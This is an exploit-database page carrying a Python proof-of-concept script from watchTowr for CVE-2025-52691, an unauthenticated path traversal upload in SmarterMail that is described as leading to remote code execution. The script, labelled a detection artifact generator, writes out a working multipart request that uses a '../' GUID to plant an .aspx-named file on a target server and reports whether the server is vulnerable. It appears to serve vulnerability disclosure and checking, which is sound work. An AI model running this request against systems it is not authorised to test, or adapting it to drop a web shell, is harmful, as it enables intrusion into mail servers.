Exploit database

GH-6e9c59c9c02af1a6ab9f5b2671585727

watchtowrlabs/watchtowr-vs-smartermail-cve-2025-52691

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-52691

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

watchTowr-vs-SmarterMail-CVE-2025-52691.py

Python · 3,572 bytes
import argparse
import urllib3
import random
import string
import json

import requests

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-SmarterMail-CVE-2025-52691.py
        (*) CVE-2025-52691 Detection Artifact Generator: SmarterMail Path Traversal Leading to Unauthenticated RCE

          - Piotr (@chudyPB) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def dag(host):

    name = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(6))

    url = "%sapi/upload" % host
    headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"}
    data = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"context\"\r\n\r\nattachment\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"resumableIdentifier\"\r\n\r\nfakeID\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"resumableFilename\"\r\n\r\nfakefile.aspx\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"contextData\"\r\n\r\n{\"guid\":\"dag/../../%s\"}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"whatever\"; filename=\"fake.jpg\"\r\n\r\nDetection Artifact Generator\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--" % name

    resp = requests.post(url, headers=headers, data=data, verify = False)

    try:
        resp_json = json.loads(resp.text)
        #in version 16, response will be a JSON string instead of the JSON, we need to include this possibility
        if type(resp_json) == str:
            resp_json = json.loads(resp_json)
    except:
        print('[+/-] UNKNOWN MESSAGE - please verify manually')
        return

    if 'key' in resp_json.keys() and resp.status_code == 200:
        if name.lower() in resp_json['key']:
            print('[+] VULNERABLE - file %s got uploaded' % resp_json['key'].split('/')[-1])
        else:
            print('[+/-] UNKNOWN MESSAGE - please verify manually')
    elif 'message' in resp_json.keys() and resp.status_code == 400:
        if resp_json['message'] == 'INVALID_GUID':
            print('[-] NOT VULNERABLE - patch applied (INVALID_GUID error message appeared)')
        else:
            print('[+/-] UNKNOWN MESSAGE - please verify manually')
    else:
        print('[+/-] UNKNOWN MESSAGE - please verify manually')


if __name__ == "__main__":

    print(banner)

    usage = """python3 poc.py [-h] -H HOST \r\n\r\n\
        For more help, use "python3 poc.py --help"
        INFO HERE
        """
    parser = argparse.ArgumentParser(description = 'CVE-2025-52691: SmarterMail Path Traversal Leading to Unauthenticated RCE', usage = usage)
    
    #required arg
    parser.add_argument('-H', dest = 'host', action = "store", type = str, help = 'Host, eg. "https://smartermail.lab"', required = True)

    #get arguments
    args = parser.parse_args()
    host = args.host

    if host[-1] != '/':
        host += '/'

    dag(host)